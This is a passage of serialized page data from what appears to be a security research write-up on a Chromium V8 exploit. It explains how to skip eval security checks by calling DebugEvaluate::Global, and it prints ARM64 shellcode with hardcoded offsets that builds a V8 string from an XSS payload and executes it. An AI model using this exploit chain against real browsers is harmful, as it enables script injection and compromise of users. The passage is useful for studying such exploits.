(!Builtins::",{"type":21,"tag":198,"props":141055,"children":141056},{"style":1966},[141057],{"type":27,"value":141058},"AllowDynamicFunction",{"type":21,"tag":198,"props":141060,"children":141061},{"style":211},[141062],{"type":27,"value":706},{"type":21,"tag":198,"props":141064,"children":141065},{"style":1966},[141066],{"type":27,"value":141067},"isolate",{"type":21,"tag":198,"props":141069,"children":141070},{"style":211},[141071],{"type":27,"value":828},{"type":21,"tag":198,"props":141073,"children":141074},{"style":1966},[141075],{"type":27,"value":115460},{"type":21,"tag":198,"props":141077,"children":141078},{"style":211},[141079],{"type":27,"value":828},{"type":21,"tag":198,"props":141081,"children":141082},{"style":1966},[141083],{"type":27,"value":141084},"target_global_proxy",{"type":21,"tag":198,"props":141086,"children":141087},{"style":211},[141088],{"type":27,"value":724},{"type":21,"tag":198,"props":141090,"children":141091},{"class":200,"line":281},[141092,141097,141101,141106],{"type":21,"tag":198,"props":141093,"children":141094},{"style":226},[141095],{"type":27,"value":141096}," isolate",{"type":21,"tag":198,"props":141098,"children":141099},{"style":211},[141100],{"type":27,"value":14564},{"type":21,"tag":198,"props":141102,"children":141103},{"style":698},[141104],{"type":27,"value":141105},"CountUsage",{"type":21,"tag":198,"props":141107,"children":141108},{"style":211},[141109],{"type":27,"value":141110},"(v8::Isolate::kFunctionConstructorReturnedUndefined);\n",{"type":21,"tag":198,"props":141112,"children":141113},{"class":200,"line":302},[141114,141118,141123,141128,141133],{"type":21,"tag":198,"props":141115,"children":141116},{"style":640},[141117],{"type":27,"value":1478},{"type":21,"tag":198,"props":141119,"children":141120},{"style":698},[141121],{"type":27,"value":141122}," ReadOnlyRoots",{"type":21,"tag":198,"props":141124,"children":141125},{"style":211},[141126],{"type":27,"value":141127},"(isolate).",{"type":21,"tag":198,"props":141129,"children":141130},{"style":698},[141131],{"type":27,"value":141132},"undefined_value",{"type":21,"tag":198,"props":141134,"children":141135},{"style":211},[141136],{"type":27,"value":3404},{"type":21,"tag":198,"props":141138,"children":141139},{"class":200,"line":323},[141140],{"type":21,"tag":198,"props":141141,"children":141142},{"style":211},[141143],{"type":27,"value":2249},{"type":21,"tag":30,"props":141145,"children":141146},{},[141147,141149,141154],{"type":27,"value":141148},"This means we would need to patch the function further to ensure it never enters this ",{"type":21,"tag":194,"props":141150,"children":141152},{"className":141151},[],[141153],{"type":27,"value":16382},{"type":27,"value":141155}," block.",{"type":21,"tag":30,"props":141157,"children":141158},{},[141159],{"type":27,"value":141160},"Alternatively, we could replicate the calls made once the security checks pass:",{"type":21,"tag":187,"props":141162,"children":141164},{"code":141163,"language":29914,"meta":7,"className":29912,"style":7},"BUILTIN(GlobalEval) {\n\n [...]\n\n DirectHandle\u003CJSFunction> function;\n ASSIGN_RETURN_FAILURE_ON_EXCEPTION(\n isolate, function,\n Compiler::GetFunctionFromValidatedString(\n direct_handle(target->native_context(), isolate), source,\n NO_PARSE_RESTRICTION, kNoSourcePosition));\n RETURN_RESULT_OR_FAILURE(\n isolate, Execution::Call(isolate, function, target_global_proxy, {}));\n",[141165],{"type":21,"tag":194,"props":141166,"children":141167},{"__ignoreMap":7},[141168,141179,141186,141193,141200,141208,141220,141228,141245,141275,141283,141295],{"type":21,"tag":198,"props":141169,"children":141170},{"class":200,"line":201},[141171,141175],{"type":21,"tag":198,"props":141172,"children":141173},{"style":698},[141174],{"type":27,"value":141026},{"type":21,"tag":198,"props":141176,"children":141177},{"style":211},[141178],{"type":27,"value":141031},{"type":21,"tag":198,"props":141180,"children":141181},{"class":200,"line":217},[141182],{"type":21,"tag":198,"props":141183,"children":141184},{"emptyLinePlaceholder":16},[141185],{"type":27,"value":1283},{"type":21,"tag":198,"props":141187,"children":141188},{"class":200,"line":236},[141189],{"type":21,"tag":198,"props":141190,"children":141191},{"style":211},[141192],{"type":27,"value":127535},{"type":21,"tag":198,"props":141194,"children":141195},{"class":200,"line":260},[141196],{"type":21,"tag":198,"props":141197,"children":141198},{"emptyLinePlaceholder":16},[141199],{"type":27,"value":1283},{"type":21,"tag":198,"props":141201,"children":141202},{"class":200,"line":281},[141203],{"type":21,"tag":198,"props":141204,"children":141205},{"style":211},[141206],{"type":27,"value":141207}," DirectHandle\u003CJSFunction> function;\n",{"type":21,"tag":198,"props":141209,"children":141210},{"class":200,"line":302},[141211,141216],{"type":21,"tag":198,"props":141212,"children":141213},{"style":698},[141214],{"type":27,"value":141215}," ASSIGN_RETURN_FAILURE_ON_EXCEPTION",{"type":21,"tag":198,"props":141217,"children":141218},{"style":211},[141219],{"type":27,"value":4268},{"type":21,"tag":198,"props":141221,"children":141222},{"class":200,"line":323},[141223],{"type":21,"tag":198,"props":141224,"children":141225},{"style":211},[141226],{"type":27,"value":141227}," isolate, function,\n",{"type":21,"tag":198,"props":141229,"children":141230},{"class":200,"line":344},[141231,141236,141241],{"type":21,"tag":198,"props":141232,"children":141233},{"style":211},[141234],{"type":27,"value":141235}," Compiler::",{"type":21,"tag":198,"props":141237,"children":141238},{"style":698},[141239],{"type":27,"value":141240},"GetFunctionFromValidatedString",{"type":21,"tag":198,"props":141242,"children":141243},{"style":211},[141244],{"type":27,"value":4268},{"type":21,"tag":198,"props":141246,"children":141247},{"class":200,"line":365},[141248,141253,141257,141261,141265,141270],{"type":21,"tag":198,"props":141249,"children":141250},{"style":698},[141251],{"type":27,"value":141252}," direct_handle",{"type":21,"tag":198,"props":141254,"children":141255},{"style":211},[141256],{"type":27,"value":706},{"type":21,"tag":198,"props":141258,"children":141259},{"style":226},[141260],{"type":27,"value":115460},{"type":21,"tag":198,"props":141262,"children":141263},{"style":211},[141264],{"type":27,"value":14564},{"type":21,"tag":198,"props":141266,"children":141267},{"style":698},[141268],{"type":27,"value":141269},"native_context",{"type":21,"tag":198,"props":141271,"children":141272},{"style":211},[141273],{"type":27,"value":141274},"(), isolate), source,\n",{"type":21,"tag":198,"props":141276,"children":141277},{"class":200,"line":386},[141278],{"type":21,"tag":198,"props":141279,"children":141280},{"style":211},[141281],{"type":27,"value":141282}," NO_PARSE_RESTRICTION, kNoSourcePosition));\n",{"type":21,"tag":198,"props":141284,"children":141285},{"class":200,"line":408},[141286,141291],{"type":21,"tag":198,"props":141287,"children":141288},{"style":698},[141289],{"type":27,"value":141290}," RETURN_RESULT_OR_FAILURE",{"type":21,"tag":198,"props":141292,"children":141293},{"style":211},[141294],{"type":27,"value":4268},{"type":21,"tag":198,"props":141296,"children":141297},{"class":200,"line":429},[141298,141303,141308],{"type":21,"tag":198,"props":141299,"children":141300},{"style":211},[141301],{"type":27,"value":141302}," isolate, Execution::",{"type":21,"tag":198,"props":141304,"children":141305},{"style":698},[141306],{"type":27,"value":141307},"Call",{"type":21,"tag":198,"props":141309,"children":141310},{"style":211},[141311],{"type":27,"value":141312},"(isolate, function, target_global_proxy, {}));\n",{"type":21,"tag":30,"props":141314,"children":141315},{},[141316,141318,141323,141325,141331,141333,141339,141341,141347],{"type":27,"value":141317},"But determining the correct ",{"type":21,"tag":194,"props":141319,"children":141321},{"className":141320},[],[141322],{"type":27,"value":115460},{"type":27,"value":141324}," value, obtaining ",{"type":21,"tag":194,"props":141326,"children":141328},{"className":141327},[],[141329],{"type":27,"value":141330},"target->native_context()",{"type":27,"value":141332},", and locating the ",{"type":21,"tag":194,"props":141334,"children":141336},{"className":141335},[],[141337],{"type":27,"value":141338},"direct_handle",{"type":27,"value":141340}," function, just to make a proper call to ",{"type":21,"tag":194,"props":141342,"children":141344},{"className":141343},[],[141345],{"type":27,"value":141346},"Compiler::GetFunctionFromValidatedString",{"type":27,"value":141348},", seemed unnecessarily cumbersome.",{"type":21,"tag":30,"props":141350,"children":141351},{},[141352,141354,141360],{"type":27,"value":141353},"Instead, we found a much simpler option with no security checks: ",{"type":21,"tag":194,"props":141355,"children":141357},{"className":141356},[],[141358],{"type":27,"value":141359},"DebugEvaluate::Global",{"type":27,"value":141361},". This function is used by the DevTools console to evaluate JavaScript entered there.",{"type":21,"tag":30,"props":141363,"children":141364},{},[141365],{"type":27,"value":141366},"For our needs, it is straightforward to call:",{"type":21,"tag":187,"props":141368,"children":141370},{"code":141369,"language":29914,"meta":7,"className":29912,"style":7},"MaybeDirectHandle\u003CObject> DebugEvaluate::Global(Isolate* isolate,\n Handle\u003CString> source,\n debug::EvaluateGlobalMode mode,\n REPLMode repl_mode);\n",[141371],{"type":21,"tag":194,"props":141372,"children":141373},{"__ignoreMap":7},[141374,141422,141451,141472],{"type":21,"tag":198,"props":141375,"children":141376},{"class":200,"line":201},[141377,141382,141386,141390,141395,141400,141404,141409,141413,141418],{"type":21,"tag":198,"props":141378,"children":141379},{"style":1966},[141380],{"type":27,"value":141381},"MaybeDirectHandle",{"type":21,"tag":198,"props":141383,"children":141384},{"style":211},[141385],{"type":27,"value":3159},{"type":21,"tag":198,"props":141387,"children":141388},{"style":1966},[141389],{"type":27,"value":1950},{"type":21,"tag":198,"props":141391,"children":141392},{"style":211},[141393],{"type":27,"value":141394},"> DebugEvaluate::",{"type":21,"tag":198,"props":141396,"children":141397},{"style":698},[141398],{"type":27,"value":141399},"Global",{"type":21,"tag":198,"props":141401,"children":141402},{"style":211},[141403],{"type":27,"value":706},{"type":21,"tag":198,"props":141405,"children":141406},{"style":1966},[141407],{"type":27,"value":141408},"Isolate",{"type":21,"tag":198,"props":141410,"children":141411},{"style":249},[141412],{"type":27,"value":5383},{"type":21,"tag":198,"props":141414,"children":141415},{"style":226},[141416],{"type":27,"value":141417}," isolate",{"type":21,"tag":198,"props":141419,"children":141420},{"style":211},[141421],{"type":27,"value":257},{"type":21,"tag":198,"props":141423,"children":141424},{"class":200,"line":217},[141425,141430,141434,141438,141442,141447],{"type":21,"tag":198,"props":141426,"children":141427},{"style":1966},[141428],{"type":27,"value":141429}," Handle",{"type":21,"tag":198,"props":141431,"children":141432},{"style":211},[141433],{"type":27,"value":3159},{"type":21,"tag":198,"props":141435,"children":141436},{"style":1966},[141437],{"type":27,"value":993},{"type":21,"tag":198,"props":141439,"children":141440},{"style":211},[141441],{"type":27,"value":6634},{"type":21,"tag":198,"props":141443,"children":141444},{"style":226},[141445],{"type":27,"value":141446},"source",{"type":21,"tag":198,"props":141448,"children":141449},{"style":211},[141450],{"type":27,"value":257},{"type":21,"tag":198,"props":141452,"children":141453},{"class":200,"line":236},[141454,141459,141464,141468],{"type":21,"tag":198,"props":141455,"children":141456},{"style":211},[141457],{"type":27,"value":141458}," debug::",{"type":21,"tag":198,"props":141460,"children":141461},{"style":1966},[141462],{"type":27,"value":141463},"EvaluateGlobalMode",{"type":21,"tag":198,"props":141465,"children":141466},{"style":226},[141467],{"type":27,"value":106656},{"type":21,"tag":198,"props":141469,"children":141470},{"style":211},[141471],{"type":27,"value":257},{"type":21,"tag":198,"props":141473,"children":141474},{"class":200,"line":260},[141475,141480,141485],{"type":21,"tag":198,"props":141476,"children":141477},{"style":1966},[141478],{"type":27,"value":141479}," REPLMode",{"type":21,"tag":198,"props":141481,"children":141482},{"style":226},[141483],{"type":27,"value":141484}," repl_mode",{"type":21,"tag":198,"props":141486,"children":141487},{"style":211},[141488],{"type":27,"value":1470},{"type":21,"tag":30,"props":141490,"children":141491},{},[141492,141494,141499,141501,141506,141508,141513,141515,141521,141522,141528],{"type":27,"value":141493},"We must supply the ",{"type":21,"tag":194,"props":141495,"children":141497},{"className":141496},[],[141498],{"type":27,"value":141067},{"type":27,"value":141500}," pointer, a ",{"type":21,"tag":194,"props":141502,"children":141504},{"className":141503},[],[141505],{"type":27,"value":993},{"type":27,"value":141507}," object containing our XSS payload as ",{"type":21,"tag":194,"props":141509,"children":141511},{"className":141510},[],[141512],{"type":27,"value":141446},{"type":27,"value":141514},", and the ",{"type":21,"tag":194,"props":141516,"children":141518},{"className":141517},[],[141519],{"type":27,"value":141520},"mode",{"type":27,"value":11801},{"type":21,"tag":194,"props":141523,"children":141525},{"className":141524},[],[141526],{"type":27,"value":141527},"repl_mode",{"type":27,"value":141529}," values, which are simple enum literals.",{"type":21,"tag":30,"props":141531,"children":141532},{},[141533,141535,141540,141542,141548,141550,141555,141557,141562,141564,141570,141572,141578,141580,141585,141587,141592,141594,141599,141601,141606],{"type":27,"value":141534},"To obtain the ",{"type":21,"tag":194,"props":141536,"children":141538},{"className":141537},[],[141539],{"type":27,"value":141067},{"type":27,"value":141541}," pointer within our shellcode, we call ",{"type":21,"tag":194,"props":141543,"children":141545},{"className":141544},[],[141546],{"type":27,"value":141547},"Isolate::TryGetCurrent()",{"type":27,"value":141549},", which returns the current ",{"type":21,"tag":194,"props":141551,"children":141553},{"className":141552},[],[141554],{"type":27,"value":141067},{"type":27,"value":141556},". To construct a valid ",{"type":21,"tag":194,"props":141558,"children":141560},{"className":141559},[],[141561],{"type":27,"value":993},{"type":27,"value":141563}," object holding our payload, we call ",{"type":21,"tag":194,"props":141565,"children":141567},{"className":141566},[],[141568],{"type":27,"value":141569},"v8::String::NewFromUTF8",{"type":27,"value":141571},". This ",{"type":21,"tag":194,"props":141573,"children":141575},{"className":141574},[],[141576],{"type":27,"value":141577},"NewFromUTF8",{"type":27,"value":141579}," function takes four arguments: the ",{"type":21,"tag":194,"props":141581,"children":141583},{"className":141582},[],[141584],{"type":27,"value":141067},{"type":27,"value":141586},", the string bytes as ",{"type":21,"tag":194,"props":141588,"children":141590},{"className":141589},[],[141591],{"type":27,"value":4508},{"type":27,"value":141593},", an enum literal specifying the string type, and ",{"type":21,"tag":194,"props":141595,"children":141597},{"className":141596},[],[141598],{"type":27,"value":9314},{"type":27,"value":141600},", which is the size of the ",{"type":21,"tag":194,"props":141602,"children":141604},{"className":141603},[],[141605],{"type":27,"value":4508},{"type":27,"value":17965},{"type":21,"tag":30,"props":141608,"children":141609},{},[141610],{"type":27,"value":141611},"The resulting shellcode that executes our XSS payload looks like this:",{"type":21,"tag":187,"props":141613,"children":141615},{"code":141614,"language":139903,"meta":7,"className":139904,"style":7},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\nmovz x1, #0xf7a0\nmovk x1, #0x0071, lsl #16\nadd x9, x12, x1\nmovz x1, #0x5ac8\nmovk x1, #0x054f, lsl #16\nadd x0, x12, x1\nblr x9\n// *x0 is isolate pointer\n// store isolate ptr to stack\nldr x13, [x0]\nstr x13, [sp, #-16]!\n\n// store x10 = v8::String::NewFromUTF8\nmovz x1, #0x1140\nmovk x1, #0x0242, lsl #16\nsub x10, x12, x1\n\n// mmap a RW page for our xss payload\nmov x0, #0\nmov x1, #{page_align(len(XSS_PAYLOAD))}\nmov x2, #3\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\n// write our xss payload to mmapped rw page\n{write_str(XSS_PAYLOAD, \"x0\")}\n\n// store x11 = XSS_PAYLOAD string\nmov x11, x0\n\n// pop back isolate pointer\nldr x13, [sp], #16\n\n// at this point:\n// x13 = isolate *\n// x11 = XSS_PAYLOAD string mmapped region\n// x10 = v8::String::NewFromUtf8\n\n// call v8::String::NewFromUTF8 with our xss_payload\n// arg0 = isolate *\nmov x0, x13\n// arg1 = char *c_str\nmov x1, x11\n// arg2 = type = kNormal\nmov x2, #0\n// arg4 = length\nmov w3, #{len(XSS_PAYLOAD)}\n// call NewFromUTF8\nblr x10\n\n// store x14 = String XSS_PAYLOAD\nmov x14, x0\n\n// store x9 = v8::internal::DebugEvaluate::Global\nmovz x1, #0xe44c\nmovk x1, #0x014e, lsl #16\nsub x9, x12, x1\n\n// call v8::internal::DebugEvaluate::Global\n// arg0 = isolate *\nmov x0, x13\n// arg1 = String *source\nmov x1, x14\n// arg2 = mode = kDefault\nmov x2, #0\n// arg3 = repl_mode = kYes\nmov x3, #0\n\nblr x9\n",[141616],{"type":21,"tag":194,"props":141617,"children":141618},{"__ignoreMap":7},[141619,141627,141635,141643,141651,141659,141667,141675,141683,141691,141699,141707,141715,141722,141730,141738,141746,141754,141761,141769,141776,141784,141792,141799,141806,141813,141820,141827,141834,141842,141850,141857,141865,141873,141880,141888,141896,141903,141910,141918,141926,141934,141941,141949,141957,141965,141973,141981,141989,141997,142005,142013,142021,142029,142036,142044,142052,142059,142067,142075,142083,142091,142098,142106,142113,142120,142128,142136,142144,142152,142161,142170,142178],{"type":21,"tag":198,"props":141620,"children":141621},{"class":200,"line":201},[141622],{"type":21,"tag":198,"props":141623,"children":141624},{},[141625],{"type":27,"value":141626},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\n",{"type":21,"tag":198,"props":141628,"children":141629},{"class":200,"line":217},[141630],{"type":21,"tag":198,"props":141631,"children":141632},{},[141633],{"type":27,"value":141634},"movz x1, #0xf7a0\n",{"type":21,"tag":198,"props":141636,"children":141637},{"class":200,"line":236},[141638],{"type":21,"tag":198,"props":141639,"children":141640},{},[141641],{"type":27,"value":141642},"movk x1, #0x0071, lsl #16\n",{"type":21,"tag":198,"props":141644,"children":141645},{"class":200,"line":260},[141646],{"type":21,"tag":198,"props":141647,"children":141648},{},[141649],{"type":27,"value":141650},"add x9, x12, x1\n",{"type":21,"tag":198,"props":141652,"children":141653},{"class":200,"line":281},[141654],{"type":21,"tag":198,"props":141655,"children":141656},{},[141657],{"type":27,"value":141658},"movz x1, #0x5ac8\n",{"type":21,"tag":198,"props":141660,"children":141661},{"class":200,"line":302},[141662],{"type":21,"tag":198,"props":141663,"children":141664},{},[141665],{"type":27,"value":141666},"movk x1, #0x054f, lsl #16\n",{"type":21,"tag":198,"props":141668,"children":141669},{"class":200,"line":323},[141670],{"type":21,"tag":198,"props":141671,"children":141672},{},[141673],{"type":27,"value":141674},"add x0, x12, x1\n",{"type":21,"tag":198,"props":141676,"children":141677},{"class":200,"line":344},[141678],{"type":21,"tag":198,"props":141679,"children":141680},{},[141681],{"type":27,"value":141682},"blr x9\n",{"type":21,"tag":198,"props":141684,"children":141685},{"class":200,"line":365},[141686],{"type":21,"tag":198,"props":141687,"children":141688},{},[141689],{"type":27,"value":141690},"// *x0 is isolate pointer\n",{"type":21,"tag":198,"props":141692,"children":141693},{"class":200,"line":386},[141694],{"type":21,"tag":198,"props":141695,"children":141696},{},[141697],{"type":27,"value":141698},"// store isolate ptr to stack\n",{"type":21,"tag":198,"props":141700,"children":141701},{"class":200,"line":408},[141702],{"type":21,"tag":198,"props":141703,"children":141704},{},[141705],{"type":27,"value":141706},"ldr x13, [x0]\n",{"type":21,"tag":198,"props":141708,"children":141709},{"class":200,"line":429},[141710],{"type":21,"tag":198,"props":141711,"children":141712},{},[141713],{"type":27,"value":141714},"str x13, [sp, #-16]!\n",{"type":21,"tag":198,"props":141716,"children":141717},{"class":200,"line":450},[141718],{"type":21,"tag":198,"props":141719,"children":141720},{"emptyLinePlaceholder":16},[141721],{"type":27,"value":1283},{"type":21,"tag":198,"props":141723,"children":141724},{"class":200,"line":468},[141725],{"type":21,"tag":198,"props":141726,"children":141727},{},[141728],{"type":27,"value":141729},"// store x10 = v8::String::NewFromUTF8\n",{"type":21,"tag":198,"props":141731,"children":141732},{"class":200,"line":477},[141733],{"type":21,"tag":198,"props":141734,"children":141735},{},[141736],{"type":27,"value":141737},"movz x1, #0x1140\n",{"type":21,"tag":198,"props":141739,"children":141740},{"class":200,"line":494},[141741],{"type":21,"tag":198,"props":141742,"children":141743},{},[141744],{"type":27,"value":141745},"movk x1, #0x0242, lsl #16\n",{"type":21,"tag":198,"props":141747,"children":141748},{"class":200,"line":515},[141749],{"type":21,"tag":198,"props":141750,"children":141751},{},[141752],{"type":27,"value":141753},"sub x10, x12, x1\n",{"type":21,"tag":198,"props":141755,"children":141756},{"class":200,"line":4484},[141757],{"type":21,"tag":198,"props":141758,"children":141759},{"emptyLinePlaceholder":16},[141760],{"type":27,"value":1283},{"type":21,"tag":198,"props":141762,"children":141763},{"class":200,"line":4493},[141764],{"type":21,"tag":198,"props":141765,"children":141766},{},[141767],{"type":27,"value":141768},"// mmap a RW page for our xss payload\n",{"type":21,"tag":198,"props":141770,"children":141771},{"class":200,"line":4561},[141772],{"type":21,"tag":198,"props":141773,"children":141774},{},[141775],{"type":27,"value":140119},{"type":21,"tag":198,"props":141777,"children":141778},{"class":200,"line":4569},[141779],{"type":21,"tag":198,"props":141780,"children":141781},{},[141782],{"type":27,"value":141783},"mov x1, #{page_align(len(XSS_PAYLOAD))}\n",{"type":21,"tag":198,"props":141785,"children":141786},{"class":200,"line":4599},[141787],{"type":21,"tag":198,"props":141788,"children":141789},{},[141790],{"type":27,"value":141791},"mov x2, #3\n",{"type":21,"tag":198,"props":141793,"children":141794},{"class":200,"line":4607},[141795],{"type":21,"tag":198,"props":141796,"children":141797},{},[141798],{"type":27,"value":140142},{"type":21,"tag":198,"props":141800,"children":141801},{"class":200,"line":4638},[141802],{"type":21,"tag":198,"props":141803,"children":141804},{},[141805],{"type":27,"value":140150},{"type":21,"tag":198,"props":141807,"children":141808},{"class":200,"line":4646},[141809],{"type":21,"tag":198,"props":141810,"children":141811},{},[141812],{"type":27,"value":140158},{"type":21,"tag":198,"props":141814,"children":141815},{"class":200,"line":4706},[141816],{"type":21,"tag":198,"props":141817,"children":141818},{},[141819],{"type":27,"value":140166},{"type":21,"tag":198,"props":141821,"children":141822},{"class":200,"line":9857},[141823],{"type":21,"tag":198,"props":141824,"children":141825},{},[141826],{"type":27,"value":140081},{"type":21,"tag":198,"props":141828,"children":141829},{"class":200,"line":9875},[141830],{"type":21,"tag":198,"props":141831,"children":141832},{"emptyLinePlaceholder":16},[141833],{"type":27,"value":1283},{"type":21,"tag":198,"props":141835,"children":141836},{"class":200,"line":9920},[141837],{"type":21,"tag":198,"props":141838,"children":141839},{},[141840],{"type":27,"value":141841},"// write our xss payload to mmapped rw page\n",{"type":21,"tag":198,"props":141843,"children":141844},{"class":200,"line":10026},[141845],{"type":21,"tag":198,"props":141846,"children":141847},{},[141848],{"type":27,"value":141849},"{write_str(XSS_PAYLOAD, \"x0\")}\n",{"type":21,"tag":198,"props":141851,"children":141852},{"class":200,"line":24302},[141853],{"type":21,"tag":198,"props":141854,"children":141855},{"emptyLinePlaceholder":16},[141856],{"type":27,"value":1283},{"type":21,"tag":198,"props":141858,"children":141859},{"class":200,"line":24337},[141860],{"type":21,"tag":198,"props":141861,"children":141862},{},[141863],{"type":27,"value":141864},"// store x11 = XSS_PAYLOAD string\n",{"type":21,"tag":198,"props":141866,"children":141867},{"class":200,"line":24345},[141868],{"type":21,"tag":198,"props":141869,"children":141870},{},[141871],{"type":27,"value":141872},"mov x11, x0\n",{"type":21,"tag":198,"props":141874,"children":141875},{"class":200,"line":24353},[141876],{"type":21,"tag":198,"props":141877,"children":141878},{"emptyLinePlaceholder":16},[141879],{"type":27,"value":1283},{"type":21,"tag":198,"props":141881,"children":141882},{"class":200,"line":24362},[141883],{"type":21,"tag":198,"props":141884,"children":141885},{},[141886],{"type":27,"value":141887},"// pop back isolate pointer\n",{"type":21,"tag":198,"props":141889,"children":141890},{"class":200,"line":24404},[141891],{"type":21,"tag":198,"props":141892,"children":141893},{},[141894],{"type":27,"value":141895},"ldr x13, [sp], #16\n",{"type":21,"tag":198,"props":141897,"children":141898},{"class":200,"line":24437},[141899],{"type":21,"tag":198,"props":141900,"children":141901},{"emptyLinePlaceholder":16},[141902],{"type":27,"value":1283},{"type":21,"tag":198,"props":141904,"children":141905},{"class":200,"line":24445},[141906],{"type":21,"tag":198,"props":141907,"children":141908},{},[141909],{"type":27,"value":140202},{"type":21,"tag":198,"props":141911,"children":141912},{"class":200,"line":24453},[141913],{"type":21,"tag":198,"props":141914,"children":141915},{},[141916],{"type":27,"value":141917},"// x13 = isolate *\n",{"type":21,"tag":198,"props":141919,"children":141920},{"class":200,"line":24462},[141921],{"type":21,"tag":198,"props":141922,"children":141923},{},[141924],{"type":27,"value":141925},"// x11 = XSS_PAYLOAD string mmapped region\n",{"type":21,"tag":198,"props":141927,"children":141928},{"class":200,"line":24538},[141929],{"type":21,"tag":198,"props":141930,"children":141931},{},[141932],{"type":27,"value":141933},"// x10 = v8::String::NewFromUtf8\n",{"type":21,"tag":198,"props":141935,"children":141936},{"class":200,"line":24571},[141937],{"type":21,"tag":198,"props":141938,"children":141939},{"emptyLinePlaceholder":16},[141940],{"type":27,"value":1283},{"type":21,"tag":198,"props":141942,"children":141943},{"class":200,"line":24579},[141944],{"type":21,"tag":198,"props":141945,"children":141946},{},[141947],{"type":27,"value":141948},"// call v8::String::NewFromUTF8 with our xss_payload\n",{"type":21,"tag":198,"props":141950,"children":141951},{"class":200,"line":24587},[141952],{"type":21,"tag":198,"props":141953,"children":141954},{},[141955],{"type":27,"value":141956},"// arg0 = isolate *\n",{"type":21,"tag":198,"props":141958,"children":141959},{"class":200,"line":24624},[141960],{"type":21,"tag":198,"props":141961,"children":141962},{},[141963],{"type":27,"value":141964},"mov x0, x13\n",{"type":21,"tag":198,"props":141966,"children":141967},{"class":200,"line":24637},[141968],{"type":21,"tag":198,"props":141969,"children":141970},{},[141971],{"type":27,"value":141972},"// arg1 = char *c_str\n",{"type":21,"tag":198,"props":141974,"children":141975},{"class":200,"line":24650},[141976],{"type":21,"tag":198,"props":141977,"children":141978},{},[141979],{"type":27,"value":141980},"mov x1, x11\n",{"type":21,"tag":198,"props":141982,"children":141983},{"class":200,"line":24663},[141984],{"type":21,"tag":198,"props":141985,"children":141986},{},[141987],{"type":27,"value":141988},"// arg2 = type = kNormal\n",{"type":21,"tag":198,"props":141990,"children":141991},{"class":200,"line":24717},[141992],{"type":21,"tag":198,"props":141993,"children":141994},{},[141995],{"type":27,"value":141996},"mov x2, #0\n",{"type":21,"tag":198,"props":141998,"children":141999},{"class":200,"line":24726},[142000],{"type":21,"tag":198,"props":142001,"children":142002},{},[142003],{"type":27,"value":142004},"// arg4 = length\n",{"type":21,"tag":198,"props":142006,"children":142007},{"class":200,"line":33067},[142008],{"type":21,"tag":198,"props":142009,"children":142010},{},[142011],{"type":27,"value":142012},"mov w3, #{len(XSS_PAYLOAD)}\n",{"type":21,"tag":198,"props":142014,"children":142015},{"class":200,"line":33088},[142016],{"type":21,"tag":198,"props":142017,"children":142018},{},[142019],{"type":27,"value":142020},"// call NewFromUTF8\n",{"type":21,"tag":198,"props":142022,"children":142023},{"class":200,"line":81333},[142024],{"type":21,"tag":198,"props":142025,"children":142026},{},[142027],{"type":27,"value":142028},"blr x10\n",{"type":21,"tag":198,"props":142030,"children":142031},{"class":200,"line":81346},[142032],{"type":21,"tag":198,"props":142033,"children":142034},{"emptyLinePlaceholder":16},[142035],{"type":27,"value":1283},{"type":21,"tag":198,"props":142037,"children":142038},{"class":200,"line":81354},[142039],{"type":21,"tag":198,"props":142040,"children":142041},{},[142042],{"type":27,"value":142043},"// store x14 = String XSS_PAYLOAD\n",{"type":21,"tag":198,"props":142045,"children":142046},{"class":200,"line":81362},[142047],{"type":21,"tag":198,"props":142048,"children":142049},{},[142050],{"type":27,"value":142051},"mov x14, x0\n",{"type":21,"tag":198,"props":142053,"children":142054},{"class":200,"line":81370},[142055],{"type":21,"tag":198,"props":142056,"children":142057},{"emptyLinePlaceholder":16},[142058],{"type":27,"value":1283},{"type":21,"tag":198,"props":142060,"children":142061},{"class":200,"line":81410},[142062],{"type":21,"tag":198,"props":142063,"children":142064},{},[142065],{"type":27,"value":142066},"// store x9 = v8::internal::DebugEvaluate::Global\n",{"type":21,"tag":198,"props":142068,"children":142069},{"class":200,"line":81418},[142070],{"type":21,"tag":198,"props":142071,"children":142072},{},[142073],{"type":27,"value":142074},"movz x1, #0xe44c\n",{"type":21,"tag":198,"props":142076,"children":142077},{"class":200,"line":88605},[142078],{"type":21,"tag":198,"props":142079,"children":142080},{},[142081],{"type":27,"value":142082},"movk x1, #0x014e, lsl #16\n",{"type":21,"tag":198,"props":142084,"children":142085},{"class":200,"line":88613},[142086],{"type":21,"tag":198,"props":142087,"children":142088},{},[142089],{"type":27,"value":142090},"sub x9, x12, x1\n",{"type":21,"tag":198,"props":142092,"children":142093},{"class":200,"line":101959},[142094],{"type":21,"tag":198,"props":142095,"children":142096},{"emptyLinePlaceholder":16},[142097],{"type":27,"value":1283},{"type":21,"tag":198,"props":142099,"children":142100},{"class":200,"line":101967},[142101],{"type":21,"tag":198,"props":142102,"children":142103},{},[142104],{"type":27,"value":142105},"// call v8::internal::DebugEvaluate::Global\n",{"type":21,"tag":198,"props":142107,"children":142108},{"class":200,"line":101975},[142109],{"type":21,"tag":198,"props":142110,"children":142111},{},[142112],{"type":27,"value":141956},{"type":21,"tag":198,"props":142114,"children":142115},{"class":200,"line":101983},[142116],{"type":21,"tag":198,"props":142117,"children":142118},{},[142119],{"type":27,"value":141964},{"type":21,"tag":198,"props":142121,"children":142122},{"class":200,"line":102011},[142123],{"type":21,"tag":198,"props":142124,"children":142125},{},[142126],{"type":27,"value":142127},"// arg1 = String *source\n",{"type":21,"tag":198,"props":142129,"children":142130},{"class":200,"line":104782},[142131],{"type":21,"tag":198,"props":142132,"children":142133},{},[142134],{"type":27,"value":142135},"mov x1, x14\n",{"type":21,"tag":198,"props":142137,"children":142138},{"class":200,"line":104790},[142139],{"type":21,"tag":198,"props":142140,"children":142141},{},[142142],{"type":27,"value":142143},"// arg2 = mode = kDefault\n",{"type":21,"tag":198,"props":142145,"children":142147},{"class":200,"line":142146},69,[142148],{"type":21,"tag":198,"props":142149,"children":142150},{},[142151],{"type":27,"value":141996},{"type":21,"tag":198,"props":142153,"children":142155},{"class":200,"line":142154},70,[142156],{"type":21,"tag":198,"props":142157,"children":142158},{},[142159],{"type":27,"value":142160},"// arg3 = repl_mode = kYes\n",{"type":21,"tag":198,"props":142162,"children":142164},{"class":200,"line":142163},71,[142165],{"type":21,"tag":198,"props":142166,"children":142167},{},[142168],{"type":27,"value":142169},"mov x3, 